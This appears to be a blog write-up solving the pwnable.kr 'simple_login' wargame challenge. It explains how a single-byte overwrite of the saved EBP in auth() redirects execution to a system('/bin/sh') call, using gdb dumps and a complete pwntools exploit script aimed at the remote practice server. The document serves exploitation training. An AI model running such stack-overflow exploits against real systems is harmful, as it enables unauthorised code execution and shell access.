pwnable.kr - simple_login solution with only one byte overflow

I only saw writeups using the full four bytes overflow to fully control EBP. In this writeup I’ll show you how to get RCE with a single byte overflow. The idea is that we have an 8 byte buffer followed by *EBP in which we are able to write up to 12 bytes. Hence we can get control of EBP. But, just overflowing the LSB of *EBP is enough for RCE.

main()

  printf("Authenticate : ");
  __isoc99_scanf(&DAT_080da6b5,local_32);
  memset(input,0,0xc);
  local_38 = (void *)0x0;
  DECODED_LENGTH = Base64Decode(local_32,&local_38);  // 1
  if (DECODED_LENGTH < 13) {                          // 2
    memcpy(input,local_38,DECODED_LENGTH);
    iVar1 = auth(DECODED_LENGTH);                     // 3
    if (iVar1 == 1) {
      correct();
     
      

User input is base64 decoded [1]. The length is checked to be < 13 [2]. If length is < 13, we call auth()

bool auth(size_t param_1)
{
  int iVar1;
  undefined local_18 [8];
  char *local_10;
  undefined auStack12 [8];
  
  memcpy(auStack12,input,param_1);            // 1
  local_10 = (char *)calc_md5(local_18,0xc);
  printf("hash : %s\n",local_10);
  iVar1 = strcmp("f87cd601aa7fedca99018a8be88eda34",local_10);
  return iVar1 == 0;
}

Here we clearly have an overflow. The buffer is only 8 bytes in size and we can write up to 12 bytes into it [1]. Looking at this in gdb shows, that the auStack12 var is followed by *EBP. Hence this allows us to get control over EBP which let’s us modify the control flow.

(gdb) disassemble 
Dump of assembler code for function auth:
    <snip>
 => 0x080492ba <+30>:	call   0x8069660 <memcpy>
(gdb) x/wx $ebp
0xffffce38:	0xffffce88      // 1

Before the memcpy *EBP is 0xffffce88 [1], make a mental note of that value. Our stack looks like this.

(gdb) x/20wx $esp
0xffffce10:	0xffffce30	0x0811eb40	0x00000009	0x08120aa8
0xffffce20:	0x08120aa8	0x081209e8	0x00000009	0x00000009
0xffffce30:	0x080481d0	0x00000000	0xffffce88	0x08049407      // here we have our 0xffffce88
0xffffce40:	0x00000009	0x081209b8	0x00000009	0x00000000
0xffffce50:	0x00000001	0xffffcf14	0x081209b8	0x37370001

Setting the next breakpoint just after the memcpy and looking at the stack and EBP again.

(gdb) x/wx $ebp
0xffffce38:	0xffffce2c      // see how this value changed?
(gdb) x/20wx $esp
0xffffce10:	0xffffce30	0x0811eb40	0x00000009	0x08120aa8
0xffffce20:	0x08120aa8	0x081209e8	0x00000009	0x00000009
0xffffce30:	0xdeadbeef	0x35333232	0xffffce2c	0x08049407      // here you can see the overflow happen
0xffffce40:	0x00000009	0x081209b8	0x00000009	0x00000000
0xffffce50:	0x00000001	0xffffcf14	0x081209b8	0x37370001

As you might have observed, we wrote our user input starting at address 0xffffce30 and overflowed into the LSB of *EBP. The user input was base64(p32(0xdeadbeef) + “2235\x2c”. And the “\x2c” was the value which overwrote the LSB of *EBP. After we now leave the auth() function and get into main() again, the stack around EBP looks like this:

Breakpoint 2, 0x08049407 in main ()
(gdb) x/20wx $ebp
0xffffce2c:	0x081209e8	0xdeadbeef	0x35333232	0xffffce2c
<snip>

Now if the leave instruction is executed at the end of the main() function ESP points at our 0xdeadbeef value:

(gdb) disassemble 
Dump of assembler code for function main:
   <snip>
   0x08049424 <+279>:	leave  
=> 0x08049425 <+280>:	ret    
(gdb) x/2wx $esp
0xffffce30:	0xdeadbeef	0x35333232

And a single step now wants to hand code execution to 0xdeadbeef:

(gdb) si
0xdeadbeef in ?? ()

To get a shell we can simply jump into the middle of the correct function:

void correct(void)
{
  if (input._0_4_ == -559038737) {
    puts("Congratulation! you are good!");
    system("/bin/sh");        // we want to jmp here
  }
  exit(0);
}
// disassembly
08049276 75 18           JNZ        LAB_08049290
08049278 c7 04 24        MOV        dword ptr [ESP]=>local_2c,s_Congratulation!_yo   = "Congratulation! you are good!" // Here we will jmp to
                 51 a6 0d 08
0804927f e8 4c 30        CALL       puts                                             int puts(char * __s)
                 01 00
08049284 c7 04 24        MOV        dword ptr [ESP]=>local_2c,s_/bin/sh_080da66f     = "/bin/sh"      
                 6f a6 0d 08
0804928b e8 20 20        CALL       system                                           int system(char * __command)
                 01 00

Therefore using the input base64(p32(0x08049278 + “WAYN” + “\x2c”)) gives you a shell.

The following shows the whole exploit:

from pwn import *
from base64 import b64encode

our_input = p32(0x8049278) + b"2235\x2c"
authcode = b64encode(our_input)

while 1:
    #p = process("./login")
    p = remote("pwnable.kr", 9003)
    p.sendlineafter("Authenticate :", authcode)
    data = p.recvuntil(b"\n")
    try:
        data = p.recvuntil(b"\n")
        print(data)
        if b"Congratulation! you are good!" in data:
            p.interactive()
            break
        else:
            continue
    except:
        continue


<
Blog Archive
Archive of all previous blog posts
>
Next Post
Hacking Botnets